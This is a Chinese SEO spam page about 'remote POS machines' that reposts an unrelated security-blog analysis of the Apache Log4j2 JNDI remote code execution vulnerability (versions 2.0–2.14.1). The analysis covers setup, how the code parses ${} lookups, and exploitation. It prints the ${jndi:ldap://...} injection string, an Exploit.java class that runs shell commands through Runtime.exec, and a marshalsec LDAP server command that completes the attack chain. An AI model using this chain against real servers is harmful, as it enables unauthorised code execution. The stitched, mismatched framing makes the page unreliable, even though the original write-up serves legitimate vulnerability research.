pos機(jī)遠(yuǎn)程

 新聞資訊3  |   2023-08-15 10:38  |  投稿人:pos機(jī)之家

網(wǎng)上有很多關(guān)于pos機(jī)遠(yuǎn)程,Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞分析的知識,也有很多人為大家解答關(guān)于pos機(jī)遠(yuǎn)程的問題,今天pos機(jī)之家(m.nxzs9ef.cn)為大家整理了關(guān)于這方面的知識,讓我們一起來看下吧!

本文目錄一覽:

1、pos機(jī)遠(yuǎn)程

pos機(jī)遠(yuǎn)程

0x01 漏洞簡介

Apache Log4j2是一個(gè)基于Java的日志記錄工具。由于Apache log4j2某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,只需檢測Java應(yīng)用是否引入 log4j-api , log4j-core 兩個(gè)jar。若存在應(yīng)用使用,極大可能會受到影響。

0x02 環(huán)境搭建

創(chuàng)建Maven項(xiàng)目,并將以下配置文件放在pom.xml中

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>xxxx</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies></project>

在https://logging.apache.org/log4j/2.x/download.html 下載編譯好的Apache Log4j jar包

最后在項(xiàng)目中添加log4j-core-2.14.1.jar 依賴

將項(xiàng)目創(chuàng)建好后即可添加漏洞代碼

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}"); }}0x03 漏洞分析0x1 漏洞觸發(fā)

本次漏洞觸發(fā)相當(dāng)簡單,只要使用了org/apache/logging/log4j/spi/AbstractLogger.java log進(jìn)行記錄,且log等級為可記錄等級即可觸發(fā)。

private static final Logger logger = LogManager.getLogger();public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}");}

一旦在log字符串中檢測到${},就會解析其中的字符串嘗試使用lookup查詢,因此只要能控制log參數(shù)內(nèi)容,就有機(jī)會實(shí)現(xiàn)漏洞利用。因此也可以使用如下方式觸發(fā)

logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");0x2 入口函數(shù)

本次漏洞的入口函數(shù)為logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都會觸發(fā)到該函數(shù)

0x3 核心原理之匹配

該漏洞的核心原理為,在正常的log處理過程中對 ${ 這兩個(gè)緊鄰的字符做了檢測,一旦匹配到類似于表達(dá)式結(jié)構(gòu)的字符串就會觸發(fā)替換機(jī)制。

替換機(jī)制采用this.config.getStrSubstitutor().replace 函數(shù),該處理函數(shù)調(diào)用棧如下

0x4 核心原理之解析

在replace函數(shù)中存在此次漏洞的關(guān)鍵部分提取${}內(nèi)的lookup參數(shù)。經(jīng)過兩層substitute調(diào)用后,相關(guān)提取代碼如下

簡單來說,pos為當(dāng)前字符串頭指針,prefixMatcher.isMatch只負(fù)責(zé)匹配 ${ 兩個(gè)字符。如果匹配到就進(jìn)入第二層循環(huán)匹配,原理和代碼相似。如果沒有匹配到}字符,pos指針就正常+1。

下面代碼為匹配}字符

一旦匹配到}字符,代碼就會進(jìn)入第三個(gè)階段,提取表達(dá)式的內(nèi)容賦值給varNameExpr變量

那么表達(dá)式解析部分就到這里結(jié)束了。目前解析到的字符串為

jndi:ldap://127.0.0.1:1389/0x5 核心原理之查詢

在正確提取表達(dá)式內(nèi)容后,log4j將會使用該內(nèi)容作為lookup參數(shù),進(jìn)行正常的lookup查詢。代碼如下

通過調(diào)試發(fā)現(xiàn)interpolator類的lookup函數(shù)會以:為分隔符進(jìn)行分割以獲取prefix內(nèi)容,筆者傳入的prefix內(nèi)容為jndi字符串因此this.strLookupMap獲取到的類為JndiLookup類,如下圖所示。

之后又通過jndiManager類進(jìn)行調(diào)用,成功執(zhí)行到j(luò)avax/naming/InitialContext.java 原生lookup解析函數(shù)

0x04 漏洞利用0x1 編寫利用類

因?yàn)槔胠dap方式進(jìn)行命令執(zhí)行,首先要編寫最后的命令執(zhí)行代碼。Exploit.java

import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="touch /tmp/xxx"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}

編譯代碼后,開啟HTTP服務(wù)

javac Exploit.java0x2 開啟ldap服務(wù)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8800/#Exploit0x05 總結(jié)

通過復(fù)現(xiàn)調(diào)試該漏洞,深入了解了apache Log4j2日志記錄的底層原理。關(guān)于該漏洞的利用網(wǎng)上還有很多姿勢,整體來講漏洞利用簡單,且漏洞危害巨大,配合一些其他服務(wù)及系統(tǒng)有可能產(chǎn)生更大的影響。

參考文章

https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPghttps://nosec.org/home/detail/4917.html

本文由D4ck原創(chuàng)發(fā)布轉(zhuǎn)載,請參考轉(zhuǎn)載聲明,注明出處: https://www.anquanke.com/post/id/262668安全客 - 有思想的安全新媒體

以上就是關(guān)于pos機(jī)遠(yuǎn)程,Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞分析的知識,后面我們會繼續(xù)為大家整理關(guān)于pos機(jī)遠(yuǎn)程的知識,希望能夠幫助到大家!

轉(zhuǎn)發(fā)請帶上網(wǎng)址:http://m.nxzs9ef.cn/newstwo/99031.html

你可能會喜歡:

版權(quán)聲明:本文內(nèi)容由互聯(lián)網(wǎng)用戶自發(fā)貢獻(xiàn),該文觀點(diǎn)僅代表作者本人。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如發(fā)現(xiàn)本站有涉嫌抄襲侵權(quán)/違法違規(guī)的內(nèi)容, 請發(fā)送郵件至 babsan@163.com 舉報(bào),一經(jīng)查實(shí),本站將立刻刪除。